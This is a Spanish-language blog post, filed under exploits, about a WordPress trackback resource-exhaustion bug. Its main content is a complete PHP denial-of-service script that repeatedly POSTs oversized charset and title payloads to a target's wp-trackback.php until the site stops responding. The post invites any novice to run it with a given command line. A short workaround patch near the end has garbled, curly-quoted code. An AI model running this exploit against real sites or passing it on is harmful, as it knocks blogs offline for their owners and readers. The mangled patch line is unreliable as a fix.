Nuevo Bug grave en WordPress
Publicado por zerialkiller en exploits.El problema radica en el archivo wp-trackbacks.php y permite a cualquier novato, individuo o persona, dejar offline a cualquier blog que use WordPress como CMS, con tan solo 5 minutos y una veintena de consultas, si leyeron bien, solo 20 consultas no se necesitan botnes, redes zombies o supercomputadoras para hacer este tipo de ataque DoS.
Por el momento se ha publicado este exploit, creado en php y que se ejecuta en la consola, pasando por parametro la url del sitio vulnerable, algo asi:
php exploit.php http://blogvulnerable.com
Y aqui esta el codigo del exploit:
<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo "You need to specify a url to attack\n";
exit;
} $url = $argv[1]; $data = parse_url($url);
if(count($data) < 2) {
echo "The url should have http:// in front of it, and should be complete.\n";
exit;
} if(count($data) == 2) {
$path = '';
} else {
$path = $data['path'];
}
$path = trim($path,'/');
$path .= '/wp-trackback.php';
if($path{0} != '/') {
$path = '/'.$path;
} $b = "";
$b = str_pad($b,140000,'ABCEDFG');
$b = utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,"); $str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol'; $count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo "down!!!!\n";
exit;
}
echo "unable to connect to: ".$data['host']."\n";
exit;
} fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n"); echo "hit!\n";
$count++;
} ?>
Todavia no existe parche para reparar el bug, la unica solucion conocida hasta el momento, es la que se manifiesta en el enlace donde nos cuentan el parche:
Editar el archivo wp-trackbacks.php y buscar esta linea:
$charset = $_POST['charset'];
y cambiarla por esta:
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }
Para mas informacion pueden visitar este enlace, en el cual explican mucho mas a fondo en que consiste el bug, asi pues, todos a corregir nuestro wordpress, para asi evitar futuros dolores de cabeza.
Gracias a : inconinformatico.net por compartir la Noticia

Categorias
Los Escritores
En el Archivo
Amigos
Lo ultimo en el blog